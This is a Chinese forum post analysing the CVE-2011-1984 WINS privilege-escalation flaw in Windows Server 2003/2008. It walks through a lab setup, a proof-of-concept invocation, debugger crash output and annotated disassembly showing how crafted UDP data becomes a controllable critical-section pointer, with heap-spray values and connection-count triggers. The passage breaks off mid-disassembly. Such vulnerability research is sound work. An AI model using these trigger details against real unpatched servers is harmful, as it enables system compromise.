首页
社区
课程
招聘
[原创]cve-2011-1984 wins提权漏洞分析
2011-9-26 14:49 14742

[原创]cve-2011-1984 wins提权漏洞分析

2011-9-26 14:49
14742
cve-2011-1984 wins提权漏洞分析
冰雪风谷[NNU]
email: bingxuefenggu@126.com

1漏洞介绍:

这是一个关于WINS的漏洞,当用户收到一个特殊的破坏的WINS的数据包时,将有可能提权,
攻击者必须登陆到机器上,或者有权限登陆到机器上去利用这个漏洞。
歧形的数据包将会被ECommEndDlg这个有问题的函数处理从而进行攻击。

2相关版本:
受影响的版本
   . Windows Server 2003 SP0, SP1 and SP2.
   . Windows Server 2003 x64 Edition SP2.
   . Windows Server 2003 SP2 for Itanium-based Systems.
   . Windows Server 2008 SP2.
   . Windows Server 2008 x64 Edition SP2.
   . Windows Server 2008 R2 for x64-based Systems.
   . Other versions and platforms are probably affected too, but they
were no checked.
不受影响的版本:
   . Windows XP SP3.
   . Windows XP Professional x64 Edition SP2.
   . Windows Vista SP2.
   . Windows Vista x64 Edition SP2.
   . Windows Server 2008 for Itanium-based Systems SP2.
   . Windows 7.
   . Windows 7 for x64-based Systems.
   . Windows Server 2008 R2 for Itanium-based systems.
3漏洞调试环境的安装

搭建windows 2003 sp2虚拟机,并按参考文档安装wins服务。
按参考文档下载poc,针对老版本的wins,需要对poc进行一些相关的修改。
由于老版本的wins中没有对数据进行加密,所以应该把poc中发送udp数据加密的地方去掉。
poc的使用
python wins_poc.py wins_tcp_dynamic_port wins_udp_dynamic_port writeable_address(hex)
其中wins_tcp_dynamic_port和wins_udp_dynamic_port通过如下命令获得

C:\Python25>netstat -ban
Active Connections
  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:42             0.0.0.0:0              LISTENING       1312
  [wins.exe]
  TCP    0.0.0.0:1027           0.0.0.0:0              LISTENING       1312
  [wins.exe]
  UDP    0.0.0.0:42             *:*                                    1312
  [wins.exe]
  UDP    127.0.0.1:1026         *:*                                    1312
  [wins.exe]
如上,我们发现wins_tcp_dynamic_port为1027,wins_udp_dynamic_port为1026.
后面writeable_address的地址,先设为0x4b5f5f5f.

4漏洞调试

我们用windbg附加到wins.exe程序上后,按上述方式执行wins_poc.py
0:020> g
(4d0.6bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000064 ebx=42424242 ecx=7c823adb edx=42424242 esi=00001000 edi=424242a5
eip=7c823ab3 esp=0422f548 ebp=0422f574 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
kernel32!IsBadWritePtr+0x31:
7c823ab3 8a02            mov     al,byte ptr [edx]          ds:0023:42424242=??

我们查看一下函数调用:
0:015> kvn
 # ChildEBP RetAddr  Args to Child              
00 0422f574 0101483a 42424242 00000064 0422fa78 kernel32!IsBadWritePtr+0x31 (FPO: [SEH])
01 0422f5a8 01015ab9 0422fa78 0422f5c4 00000000 wins!ChkNtfSock+0xac (FPO: [2,6,4])
02 0422ffb8 7c824829 00000000 00000000 00000000 wins!MonTcp+0x1db (FPO: [SEH])
03 0422ffec 00000000 010158de 00000000 00000000 kernel32!BaseThreadStart+0x34 (FPO: [SEH])


可以看到,是在调用IsBadWritePtr的地方产生异常,该函数用于检测内存地址是否可写。
IsBadWritePtr函数如下:
0:012> u kernel32!IsBadWritePtr l50
kernel32!IsBadWritePtr:
7c823a7a 6a10            push    10h
7c823a7c 68e03a827c      push    offset kernel32!`string'+0x1c (7c823ae0)
7c823a81 e883dfffff      call    kernel32!_SEH_prolog (7c821a09)
7c823a86 a13cb0887c      mov     eax,dword ptr [kernel32!BaseStaticServerData (7c88b03c)]
7c823a8b 8bb02c010000    mov     esi,dword ptr <Unloaded_evnt.dll>+0x12b (0000012c)[eax]
7c823a91 8b450c          mov     eax,dword ptr [ebp+0Ch]
7c823a94 85c0            test    eax,eax
7c823a96 743c            je      kernel32!IsBadWritePtr+0x59 (7c823ad4)
7c823a98 8b5508          mov     edx,dword ptr [ebp+8] //
7c823a9b 85d2            test    edx,edx
7c823a9d 0f845d06feff    je      kernel32!IsBadWritePtr+0x6e (7c804100)
7c823aa3 8d7c02ff        lea     edi,[edx+eax-1]
7c823aa7 3bfa            cmp     edi,edx
7c823aa9 0f825106feff    jb      kernel32!IsBadWritePtr+0x6e (7c804100)
7c823aaf 8365fc00        and     dword ptr [ebp-4],0
7c823ab3 8a02            mov     al,byte ptr [edx]   //edx的值的内容为不可读(42424242)
7c823ab5 8802            mov     byte ptr [edx],al
7c823ab7 8d46ff          lea     eax,[esi-1]
7c823aba f7d0            not     eax
7c823abc 8bc8            mov     ecx,eax
7c823abe 23ca            and     ecx,edx
7c823ac0 894de4          mov     dword ptr [ebp-1Ch],ecx
7c823ac3 23c7            and     eax,edi
7c823ac5 8945e0          mov     dword ptr [ebp-20h],eax
7c823ac8 3bc8            cmp     ecx,eax
7c823aca 0f851ee4feff    jne     kernel32!IsBadWritePtr+0x4a (7c811eee)
7c823ad0 834dfcff        or      dword ptr [ebp-4],0FFFFFFFFh
7c823ad4 33c0            xor     eax,eax
7c823ad6 e869dfffff      call    kernel32!_SEH_epilog (7c821a44)
7c823adb c20800          ret     8
7c823ade 90              nop
7c823adf 90              nop
7c823ae0 ff              ???

--------------------------------------------------------
(注意,为了演示,我们将wins_poc文件分成两个文件,一个负责tcp连接的建立,另一个负责发送udp的数据
在建立tcp连接后,在内存中查看到数据,然后修改udp中的数据并发送,这样,一次就可到达漏洞的地方
注意的是:这样做之后,42端口建立的连接只有3个,不清楚为啥,所以在比较的地方,手工修改寄存器,
让其来满足条件
)
接下来我们在ChkNtfSock函数处下断点bp wins!ChkNtfSock
ChkNtfSock函数如下:
具体主要看wins!ChkNtfSock函数
ChkNtfSock()函数如下:

.text:0101478E ; int __stdcall ChkNtfSock(int, fd_set *)
.text:0101478E _ChkNtfSock@8   proc near               ; CODE XREF: MonTcp(x)+1D6p
.text:0101478E
.text:0101478E buf             = byte ptr -18h
.text:0101478E var_14          = dword ptr -14h
.text:0101478E var_8           = byte ptr -8
.text:0101478E lp              = dword ptr -4
.text:0101478E arg_0           = dword ptr  8
.text:0101478E arg_4           = dword ptr  0Ch
.text:0101478E
.text:0101478E                 mov     edi, edi
.text:01014790                 push    ebp
.text:01014791                 mov     ebp, esp
.text:01014793                 sub     esp, 18h
.text:01014796                 push    ebx
.text:01014797                 push    esi
.text:01014798                 push    edi
.text:01014799                 push    [ebp+arg_4]     ; fd_set *
.text:0101479C                 push    _CommNtfSockHandle ; fd
.text:010147A2                 call    ___WSAFDIsSet@8 ; __WSAFDIsSet(x,x) //这里退出了
.text:010147A7                 test    eax, eax
.text:010147A9                 jz      loc_101494D
.text:010147AF                 mov     eax, _CommNtfSockHandle
.text:010147B4                 xor     esi, esi
.text:010147B6                 push    esi             ; fromlen
.text:010147B7                 push    esi             ; from
.text:010147B8                 push    esi             ; flags
.text:010147B9                 push    18h             ; len
.text:010147BB                 lea     ecx, [ebp+buf]
.text:010147BE                 push    ecx             ; buf
.text:010147BF                 push    eax             ; s
.text:010147C0                 call    ds:__imp__recvfrom@24 ; recvfrom(x,x,x,x,x,x)//接收到数据包
.text:010147C6                 cmp     eax, 0FFFFFFFFh
.text:010147C9                 jnz     short loc_1014813 //实现跳转
.text:010147CB                 call    ds:__imp__WSAGetLastError@0 ; WSAGetLastError()
.text:010147D1                 cmp     dword_1025440, 6
.text:010147D8                 mov     edi, eax
.text:010147DA                 jz      short loc_10147F4
.text:010147DC                 push    esi             ; int
.text:010147DD                 push    0FECh           ; int
.text:010147E2                 push    offset aDNtNetWinsS_14 ; "d:\\nt\\net\\wins\\server\\com\\comm.c"
.text:010147E7                 push    0C001106Ch      ; dwEventID
.text:010147EC                 push    1               ; wType
.text:010147EE                 push    edi             ; int
.text:010147EF                 call    _WinsEvtLogEvt@24 ; WinsEvtLogEvt(x,x,x,x,x,x)
.text:010147F4
.text:010147F4 loc_10147F4:                            ; CODE XREF: ChkNtfSock(x,x)+4Cj
.text:010147F4                 cmp     edi, 2738h
.text:010147FA                 jz      loc_1014948
.text:01014800                 push    esi             ; lpArguments
.text:01014801                 push    esi             ; nNumberOfArguments
.text:01014802                 push    esi             ; dwExceptionFlags
.text:01014803                 push    0E0000001h      ; dwExceptionCode
.text:01014808                 call    ds:__imp__RaiseException@16 ; RaiseException(x,x,x,x)
.text:0101480E                 jmp     loc_1014948
.text:01014813 ; ---------------------------------------------------------------------------
.text:01014813
.text:01014813 loc_1014813:                            ; CODE XREF: ChkNtfSock(x,x)+3Bj
.text:01014813                 cmp     eax, 18h //判断收到的数据是否为0x18,
.text:01014816                 jnz     loc_1014948
.text:0101481C                 mov     edi, [ebp+lp] //将[ebp+lp]的值移到edi中,这个值为接收到的buffer的最后一组数据。
							   //
							   //mov edi, [ebp-14h]
                               //mov edi,[ebp-4],0422f5a4,这个数据为buffer接到的最后一个数据。
                               //会验证该地址是否为有效地址。
.text:0101481F                 mov     esi, ds:__imp__IsBadWritePtr@8 ; IsBadWritePtr(x,x)
.text:01014825                 push    64h             ; ucb //指向内存区域的大小
.text:01014827                 push    edi             ; lp //指向内存区域的指针
.text:01014828                 call    esi ; IsBadWritePtr(x,x) ; IsBadWritePtr(x,x) //这里调用IsBadWritePtr.
.text:0101482A                 test    eax, eax
.text:0101482C                 jnz     loc_1014948
                               //并验证该地址是否为有效地址。
                               //这个值也是一个有效的值。
                               //0x2c处保存着一个0x10c00。
.text:01014832                 mov     ebx, [edi+2Ch] 
//这个地址的值必须是可读,05000000+2c的值,被堆喷射成42424242了,所以该地址的值不可写。这里会报异常。
.text:01014835                 push    64h             ; ucb
.text:01014837                 push    ebx             ; lp //这个值为上面那个值加2c的结果
.text:01014838                 call    esi ; IsBadWritePtr(x,x) ; IsBadWritePtr(x,x)//这里调用IsBadWritePtr.
.text:0101483A                 test    eax, eax
.text:0101483C                 jnz     loc_1014948

.text:01014842                 mov     eax, [ebp+arg_0] //得到第一个参数
.text:01014845                 xor     ecx, ecx
.text:01014847                 cmp     dword ptr [ebp+buf], ecx 
//判断第一个值是否为0,这个值合法为0和1,为了跳到ECommEndDlg函数处,这里必须设置为0
.text:0101484A                 jnz     short loc_10148C0 //如果不为0,则跳转
//

.text:0101484C                 mov     edx, [eax] //建立的连接数,与42端口建立的连接数
.text:0101484E                 cmp     edx, 12Ch 
//判断是否为0x12c,即为300,所以在poc中,建立300个tcp,42端口的连接。

.text:01014854                 jnb     short loc_1014896 //我们要求这个跳转,这样才能跳转到那个函数的地方去。
.text:01014856                 cmp     edx, ecx
.text:01014858                 mov     esi, [ebp+var_14]
.text:0101485B                 jbe     short loc_101486C
.text:0101485D                 lea     edx, [eax+4]
.text:01014860
.text:01014860 loc_1014860:                            ; CODE XREF: ChkNtfSock(x,x)+DCj
.text:01014860                 cmp     [edx], esi
.text:01014862                 jz      short loc_101486C
.text:01014864                 inc     ecx
.text:01014865                 add     edx, 4
.text:01014868                 cmp     ecx, [eax]
.text:0101486A                 jb      short loc_1014860
.text:0101486C
.text:0101486C loc_101486C:                            ; CODE XREF: ChkNtfSock(x,x)+CDj
.text:0101486C                                         ; ChkNtfSock(x,x)+D4j
.text:0101486C                 cmp     ecx, [eax]
.text:0101486E                 jnz     short loc_1014876
.text:01014870                 mov     [eax+ecx*4+4], esi
.text:01014874                 inc     dword ptr [eax]
.text:01014876
.text:01014876 loc_1014876:                            ; CODE XREF: ChkNtfSock(x,x)+E0j
.text:01014876                 mov     dword ptr [ebx+48h], 1
.text:0101487D                 and     dword ptr [edi+38h], 0
.text:01014881                 add     edi, 48h
.text:01014884                 lea     esi, [ebx+50h]
.text:01014887                 movsd
.text:01014888                 movsd
.text:01014889                 movsd
.text:0101488A                 push    ebx
.text:0101488B                 movsd
.text:0101488C                 call    _CommAssocInsertAssocInTbl@4 ; CommAssocInsertAssocInTbl(x)
.text:01014891                 jmp     loc_1014948
.text:01014896 ; ---------------------------------------------------------------------------
.text:01014896
.text:01014896 loc_1014896:                            ; CODE XREF: ChkNtfSock(x,x)+C6j
.text:01014896                 push    ecx             ; int
.text:01014897                 push    101Ah           ; int
.text:0101489C                 push    offset aDNtNetWinsS_14 ; "d:\\nt\\net\\wins\\server\\com\\comm.c"
.text:010148A1                 push    0C00110BEh      ; dwEventID
.text:010148A6                 push    1               ; wType
.text:010148A8                 push    0E0000001h      ; int
.text:010148AD                 call    _WinsEvtLogEvt@24 ; WinsEvtLogEvt(x,x,x,x,x,x)
.text:010148B2                 lea     eax, [ebp+var_8]
.text:010148B5                 push    eax
.text:010148B6                 call    _ECommEndDlg@4  ; ECommEndDlg(x)  //ECommEndDlg input validation error
.text:010148BB                 jmp     loc_1014948
.text:010148C0 ; ---------------------------------------------------------------------------
.text:010148C0
.text:010148C0 loc_10148C0:                            ; CODE XREF: ChkNtfSock(x,x)+BCj
.text:010148C0                 xor     edx, edx //跳转到这里
.text:010148C2                 cmp     [eax], ecx //
.text:010148C4                 jbe     short loc_10148F7
.text:010148C6                 lea     ecx, [eax+4]//将eax+4的值赋给ecx
.text:010148C9
.text:010148C9 loc_10148C9:                            ; CODE XREF: ChkNtfSock(x,x)+148j
.text:010148C9                 mov     esi, [ecx] //这里是循环从栈里面找到c7c6c5c4这个值
.text:010148CB                 cmp     esi, [ebp+var_14]//比较esi和c7c6c5c4的值。
.text:010148CE                 jz      short loc_10148DA
.text:010148D0                 inc     edx
.text:010148D1                 add     ecx, 4
.text:010148D4                 cmp     edx, [eax] //比较edx,和[eax]的值。
.text:010148D6                 jb      short loc_10148C9 //循环
.text:010148D8                 jmp     short loc_10148F7
.text:010148DA ; ---------------------------------------------------------------------------
.text:010148DA
.text:010148DA loc_10148DA:                            ; CODE XREF: ChkNtfSock(x,x)+140j
.text:010148DA                 mov     ecx, [eax]
.text:010148DC                 dec     ecx
.text:010148DD                 cmp     edx, ecx
.text:010148DF                 jnb     short loc_10148F5
.text:010148E1                 lea     ecx, [eax+edx*4+4]
.text:010148E5
.text:010148E5 loc_10148E5:                            ; CODE XREF: ChkNtfSock(x,x)+165j
.text:010148E5                 mov     esi, [ecx+4]
.text:010148E8                 mov     [ecx], esi
.text:010148EA                 mov     esi, [eax]
.text:010148EC                 inc     edx
.text:010148ED                 add     ecx, 4
.text:010148F0                 dec     esi
.text:010148F1                 cmp     edx, esi
.text:010148F3                 jb      short loc_10148E5
.text:010148F5
.text:010148F5 loc_10148F5:                            ; CODE XREF: ChkNtfSock(x,x)+151j
.text:010148F5                 dec     dword ptr [eax]
.text:010148F7
.text:010148F7 loc_10148F7:                            ; CODE XREF: ChkNtfSock(x,x)+136j
.text:010148F7                                         ; ChkNtfSock(x,x)+14Aj
.text:010148F7                 lea     eax, [ebp+var_8] //跳转到此处执行。
.text:010148FA                 push    eax
.text:010148FB                 call    _CommLockBlock@4 ; CommLockBlock(x)
.text:01014900                 test    eax, eax
.text:01014902                 jz      short loc_1014933
.text:01014904                 and     dword ptr [ebx+48h], 0
.text:01014908                 mov     dword ptr [edi+38h], 1
.text:0101490F                 mov     eax, [ebx+4]
.text:01014912                 mov     ecx, [ebx]
.text:01014914                 mov     [eax], ecx
.text:01014916                 mov     eax, [ebx]
.text:01014918                 mov     ecx, [ebx+4]
.text:0101491B                 lea     esi, [edi+48h]
.text:0101491E                 mov     [eax+4], ecx
.text:01014921                 lea     edi, [ebx+50h]
.text:01014924                 movsd
.text:01014925                 movsd
.text:01014926                 movsd
.text:01014927                 lea     eax, [ebp+var_8]
.text:0101492A                 push    eax
.text:0101492B                 movsd
.text:0101492C                 call    _CommUnlockBlock@4 ; CommUnlockBlock(x)
.text:01014931                 jmp     short loc_101493D
.text:01014933 ; ---------------------------------------------------------------------------
.text:01014933
.text:01014933 loc_1014933:                            ; CODE XREF: ChkNtfSock(x,x)+174j
.text:01014933                 mov     _fCommDlgError, 1
.text:0101493D
.text:0101493D loc_101493D:                            ; CODE XREF: ChkNtfSock(x,x)+1A3j
.text:0101493D                 push    _RplSyncWTcpThdEvtHdl ; hEvent
.text:01014943                 call    _WinsMscSignalHdl@4 ; WinsMscSignalHdl(x)
.text:01014948
.text:01014948 loc_1014948:                            ; CODE XREF: ChkNtfSock(x,x)+6Cj
.text:01014948                                         ; ChkNtfSock(x,x)+80j ...
.text:01014948                 xor     eax, eax
.text:0101494A                 inc     eax
.text:0101494B                 jmp     short loc_101494F
.text:0101494D ; ---------------------------------------------------------------------------
.text:0101494D
.text:0101494D loc_101494D:                            ; CODE XREF: ChkNtfSock(x,x)+1Bj
.text:0101494D                 xor     eax, eax
.text:0101494F
.text:0101494F loc_101494F:                            ; CODE XREF: ChkNtfSock(x,x)+1BDj
.text:0101494F                 pop     edi
.text:01014950                 pop     esi
.text:01014951                 pop     ebx
.text:01014952                 leave
.text:01014953                 retn    8
.text:01014953 _ChkNtfSock@8   endp
----------------------------------------------------------------------------------------------
我们看一下ECommEndDlg函数(这是出问题的函数所在)的实现:
.text:0101319B ; __stdcall ECommEndDlg(x)
.text:0101319B _ECommEndDlg@4  proc near               ; CODE XREF: ENmsHandleMsg(x,x,x)+44p
.text:0101319B                                         ; VerifyDbData(x,x,x,x,x)+32Ep ...
.text:0101319B
.text:0101319B var_4C          = dword ptr -4Ch
.text:0101319B buf             = dword ptr -48h
.text:0101319B var_1C          = dword ptr -1Ch
.text:0101319B ms_exc          = CPPEH_RECORD ptr -18h
.text:0101319B arg_0           = dword ptr  8
.text:0101319B
.text:0101319B                 push    3Ch
.text:0101319D                 push    offset stru_10021A0
.text:010131A2                 call    __SEH_prolog
.text:010131A7                 mov     eax, ___security_cookie
.text:010131AC                 mov     [ebp+var_1C], eax
.text:010131AF                 mov     edi, [ebp+arg_0] //把第一个参数传给edi
.text:010131B2                 mov     [ebp+var_4C], edi
.text:010131B5                 mov     esi, [edi+4] //将第四个字节处的值传给esi,为(0x05000000+offset)的偏移
.text:010131B8                 xor     ebx, ebx
.text:010131BA                 cmp     esi, ebx //判断是否为0
.text:010131BC                 jnz     short loc_10131C5 //不为0则跳转
.text:010131BE                 mov     eax, 0E0000011h
.text:010131C3                 jmp     short loc_101323C
.text:010131C5 ; ---------------------------------------------------------------------------
.text:010131C5
.text:010131C5 loc_10131C5:                            ; CODE XREF: ECommEndDlg(x)+21j
.text:010131C5                 cmp     [esi+38h], ebx //判断0x05000038处的值,该处的值为42424242,
.text:010131C8                 jnz     short loc_1013220 //这里为了不让他跳转,得将该处的值设为0
.text:010131CA                 cmp     dword ptr [esi+34h], 5 //判断0x05000034处的值,该处的值也为42424242.
.text:010131CE                 jnz     short loc_10131D8 //这里进行跳转
.text:010131D0                 push    esi
.text:010131D1                 call    _CommAssocDeleteUdpDlgInTbl@4 ; CommAssocDeleteUdpDlgInTbl(x)
.text:010131D6                 jmp     short loc_101323A
.text:010131D8 ; ---------------------------------------------------------------------------
.text:010131D8
.text:010131D8 loc_10131D8:                            ; CODE XREF: ECommEndDlg(x)+33j
.text:010131D8                 push    edi   //参数跟ECommEndDlg的参数相同
.text:010131D9                 call    _CommLockBlock@4 ; CommLockBlock(x) //这里调用CommLockBlock函数
.text:010131DE                 cmp     eax, ebx
.text:010131E0                 jz      short loc_101323A
.text:010131E2                 mov     esi, [esi+2Ch]
.text:010131E5                 push    4               ; hostlong
.text:010131E7                 push    2Ch             ; int
.text:010131E9                 lea     eax, [ebp+buf]
.text:010131EC                 push    eax             ; int
.text:010131ED                 push    esi             ; int
.text:010131EE                 call    _CommAssocFrmStopAssocReq@16 ; CommAssocFrmStopAssocReq(x,x,x,x)
.text:010131F3                 mov     [ebp+ms_exc.disabled], ebx
.text:010131F6                 push    2Ch             ; hostlong
.text:010131F8                 lea     eax, [ebp+buf]
.text:010131FB                 push    eax             ; buf
.text:010131FC                 push    dword ptr [esi+30h] ; s
.text:010131FF                 call    _CommSendAssoc@12 ; CommSendAssoc(x,x,x)
.text:01013204                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:01013208                 jmp     short loc_1013218
.text:0101320A ; ---------------------------------------------------------------------------
.text:0101320A
.text:0101320A loc_101320A:                            ; DATA XREF: .text:stru_10021A0o
.text:0101320A                 xor     eax, eax        ; Exception filter 0 for function 101319B
.text:0101320C                 inc     eax
.text:0101320D                 retn
.text:0101320E ; ---------------------------------------------------------------------------
.text:0101320E
.text:0101320E loc_101320E:                            ; DATA XREF: .text:stru_10021A0o
.text:0101320E                 mov     esp, [ebp+ms_exc.old_esp] ; Exception handler 0 for function 101319B
.text:01013211                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:01013215                 mov     edi, [ebp+var_4C]
.text:01013218
.text:01013218 loc_1013218:                            ; CODE XREF: ECommEndDlg(x)+6Dj
.text:01013218                 push    edi
.text:01013219                 call    _CommUnlockBlock@4 ; CommUnlockBlock(x)
.text:0101321E                 jmp     short loc_101323A
.text:01013220 ; ---------------------------------------------------------------------------
.text:01013220
.text:01013220 loc_1013220:                            ; CODE XREF: ECommEndDlg(x)+2Dj
.text:01013220                 cmp     dword ptr [esi+34h], 4
.text:01013224                 jz      short loc_101322F
.text:01013226                 lea     eax, [esi+28h]
.text:01013229                 push    eax
.text:0101322A                 call    _CommEndAssoc@4 ; CommEndAssoc(x)
.text:0101322F
.text:0101322F loc_101322F:                            ; CODE XREF: ECommEndDlg(x)+89j
.text:0101322F                 push    esi
.text:01013230                 call    _CommAssocDeallocDlg@4 ; CommAssocDeallocDlg(x)
.text:01013235                 mov     [edi+4], ebx
.text:01013238                 mov     [edi], ebx
.text:0101323A
.text:0101323A loc_101323A:                            ; CODE XREF: ECommEndDlg(x)+3Bj
.text:0101323A                                         ; ECommEndDlg(x)+45j ...
.text:0101323A                 xor     eax, eax
.text:0101323C
.text:0101323C loc_101323C:                            ; CODE XREF: ECommEndDlg(x)+28j
.text:0101323C                 mov     ecx, [ebp+var_1C]
.text:0101323F                 call    @__security_check_cookie@4 ; __security_check_cookie(x)
.text:01013244                 call    __SEH_epilog
.text:01013249                 retn    4
.text:01013249 _ECommEndDlg@4  endp
-----------------------------------------------------------------------
我们看下CommLockBlock函数

观察:CommLockBlock函数
.text:01014752 ; __stdcall CommLockBlock(x)
.text:01014752 _CommLockBlock@4 proc near              ; CODE XREF: ECommSndRsp(x,x,x)+24p
.text:01014752                                         ; ECommEndDlg(x)+3Ep ...
.text:01014752
.text:01014752 arg_0           = dword ptr  8
.text:01014752
.text:01014752                 mov     edi, edi
.text:01014754                 push    ebp
.text:01014755                 mov     ebp, esp
.text:01014757                 push    esi
.text:01014758                 push    edi
.text:01014759                 mov     edi, [ebp+arg_0] //得到第一个参数
.text:0101475C                 mov     esi, [edi+4] //得到它的第二个的值,将某个magic_struct结构体的值存在esi中
.text:0101475F                 cmp     byte ptr [esi+24h], 0//
.text:01014763                 jz      short loc_1014781
.text:01014765                 lea     eax, [esi+0Ch] //把这个值的第0c个,做为临界变量
//
//此时,程序在没有对输入参数做足够验证的情况下就将从dynamic_udp_port接收到的数据
//加上0xc字节,当作一个CRITICAL_SECTION结构体指针。由于存放着一个无效的地址。
下面是CRITICAL_SECTION的结构的描述
#pragma pack(push, 8)
下面对下面的结构解析
typedef struct _RTL_CRITICAL_SECTION {
     //此字段包含一个指针,指向系统分配的伴随结构,该结构的类型为RTL_CRITICAL_SECTION_DEBUG,
     //在WINNT.H中定义
     PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
     
     //
     //  The following three fields control entering and exiting the critical
     //  section for the resource
     //
     //LockCount初始化为-1,此数值大于或等于0.当大于或等于0时,表示临界区被占用。当其不等于-1时,
     //OwningThread字段包含了拥有此临界区的线程ID.
     LONG LockCount;
     //此字段包含所有者线程已经获取该临界区的次数。
     LONG RecursionCount;
     //此字段包含当前占用此临界区的线程的线程标识符,此线程ID与GetCurrentThreadId之类的API返回的ID相同
     HANDLE OwningThread;         // from the thread's ClientId->UniqueThread
     //它是一个内核对象句柄,用于通知操作系统:该临界区现在空闲。操作系统在一个线程第一次尝试获得该临界区,
     //但被另一个已经拥有该临界区的线程所阻止时,自动创建这样一个句柄,应当调用DeleteCriticalSection
     //,否则就会发生资源泄露.
     HANDLE LockSemaphore;
     //仅用于多处理系统
     ULONG_PTR SpinCount;         // force size on 64-bit systems when packed
} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;
#pragma pack(pop)
下面看下RTL_CRITICAL_SECTION_DEBUG 结构,该结构如下:
RTL_CRITICAL_SECTION_DEBUG 结构,该结构给出如下:
struct _RTL_CRITICAL_SECTION_DEBUG
{
//此字段未使用,被初始化为数值0
WORD   Type; +0
//此字段用于诊断情形中。
WORD   CreatorBackTraceIndex; +2
//指向与此结构相关的RTL_CRITICAL_SECTION
RTL_CRITICAL_SECTION *CriticalSection; +4
//允许向前和向后遍历该临界区
LIST_ENTRY ProcessLocksList; +8
//这些字段在相同的时间,出于相同的原因被递增,这是那些因为不能马上获得临界区
//而进入等待状态的结程的数目
DWORD EntryCount; +4
DWORD ContentionCount; +4//+0x14的偏移处,这个值加1.
//这两个字段未使用,
DWORD Spare[ 2 ]; +4
}//这个结构一共24个字节(0x18)

我们可以看到这个结构中的第一个参数为DebugInfo,是RTL_CRITICAL_SECTION_DEBUG的结构体.
01014768 50              push    eax
0:015> dd eax
0531005c  4b5f5f4b 00000000 00000004 62626262
0531006c  62626262 00000001 63636363 63636363
0531007c  00010c00 64646464 64646464 00000000
0531008c  42424242 42424242 42424242 42424242
0531009c  42424242 42424242 42424242 42424242
053100ac  42424242 42424242 42424242 42424242
053100bc  42424242 42424242 42424242 42424242
053100cc  42424242 42424242 42424242 42424242
0:015> p
eax=0531005c ebx=00000000 ecx=0101ac2c edx=010e005b esi=05310050 edi=0422f5a0
eip=01014769 esp=0422f508 ebp=0422f514 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
wins!CommLockBlock+0x17:
01014769 ff15a4100001    call    dword ptr [wins!_imp__EnterCriticalSection (010010a4)] ds:0023:010010a4={ntdll!RtlEnterCriticalSection (7c94a360)}
我们看到其eax指向0531005c,里面的值为4b5f5f4b为对应的Debuginfo的地址。


.text:01014768                 push    eax             ; lpCriticalSection
.text:01014769                 call    ds:__imp__EnterCriticalSection@4 ; EnterCriticalSection(x)
//

.text:0101476F                 mov     eax, [edi]
.text:01014771                 cmp     eax, [esi+8]
.text:01014774                 jnz     short loc_101477B
.text:01014776                 xor     eax, eax
.text:01014778                 inc     eax
.text:01014779                 jmp     short loc_1014783
.text:0101477B ; ---------------------------------------------------------------------------
.text:0101477B
.text:0101477B loc_101477B:                            ; CODE XREF: CommLockBlock(x)+22j
.text:0101477B                 push    edi
.text:0101477C                 call    _CommUnlockBlock@4 ; CommUnlockBlock(x)
.text:01014781
.text:01014781 loc_1014781:                            ; CODE XREF: CommLockBlock(x)+11j
.text:01014781                 xor     eax, eax
.text:01014783
.text:01014783 loc_1014783:                            ; CODE XREF: CommLockBlock(x)+27j
.text:01014783                 pop     edi
.text:01014784                 pop     esi
.text:01014785                 pop     ebp
.text:01014786                 retn    4
.text:01014786 _CommLockBlock@4 endp
-----------------------------------------------------------------------------------------------

我们看下RtlEnterCriticalSection函数的定义,其传入一个CRITICAL_SECTION结构体的指针,这个指针,我们可以控制。

0:015> u ntdll!RtlEnterCriticalSection l50
ntdll!RtlEnterCriticalSection:
7c94a360 8bff            mov     edi,edi
7c94a362 55              push    ebp
7c94a363 8bec            mov     ebp,esp
7c94a365 51              push    ecx
7c94a366 8b5508          mov     edx,dword ptr [ebp+8]//得到第一个参数
7c94a369 56              push    esi
7c94a36a 8d7204          lea     esi,[edx+4]//得到LockCount的值
7c94a36d 57              push    edi//
7c94a36e 8975fc          mov     dword ptr [ebp-4],esi//将LockCount的值保存到临时变量中。
7c94a371 b800000000      mov     eax,0
7c94a376 8b4dfc          mov     ecx,dword ptr [ebp-4]//得到其值
7c94a379 f00fb301        lock btr dword ptr [ecx],eax
//LOCK指令是锁总线,用于多处理器的情况。BTS是X86的test-and-set操作。BTR是X86的test-and-reset操作
7c94a37d 0f92c0          setb    al
7c94a380 84c0            test    al,al
7c94a382 0f840e0d0100    je      ntdll!RtlEnterCriticalSection+0x28 (7c95b096)
//这里会跳到call    _RtlpWaitOnCriticalSection@8 ; RtlpWaitOnCriticalSection(x,x)函数的地方
/*
.text:7C95B096 loc_7C95B096:                           ; CODE XREF: RtlEnterCriticalSection(x)+22j
.text:7C95B096                 mov     eax, large fs:18h//得到当前线程的teb地址
.text:7C95B09C                 mov     ecx, [edx+0Ch]//这个值是OwningThread
.text:7C95B09F                 cmp     ecx, [eax+24h]//比较线程ID,是否为当前线程的ID.不一致则跳转
.text:7C95B0A2                 jnz     loc_7C96D3A6
.text:7C95B0A8                 mov     eax, [edx+8]
.text:7C95B0AB                 inc     eax
.text:7C95B0AC                 pop     edi
.text:7C95B0AD                 mov     [edx+8], eax
.text:7C95B0B0                 xor     eax, eax
.text:7C95B0B2                 pop     esi
.text:7C95B0B3                 mov     esp, ebp
.text:7C95B0B5                 pop     ebp
.text:7C95B0B6                 retn    4
//执行到这里
.text:7C96D262 loc_7C96D262:                           ; CODE XREF: RtlEnterCriticalSection(x)+22F2Cj
.text:7C96D262                                         ; RtlEnterCriticalSection(x)+22F36j ...
.text:7C96D262                 mov     ebx, [edx+14h]//这里得到SpinCount的值,多处理器相关的值
.text:7C96D265                 test    ebx, ebx
.text:7C96D267                 ja      loc_7C97B1A0 //大于的时候跳转
.text:7C96D26D
.text:7C96D26D loc_7C96D26D:                           ; CODE XREF: RtlEnterCriticalSection(x)+30E62j
.text:7C96D26D                 mov     edx, [esi]//
.text:7C96D26F                 test    dl, 1
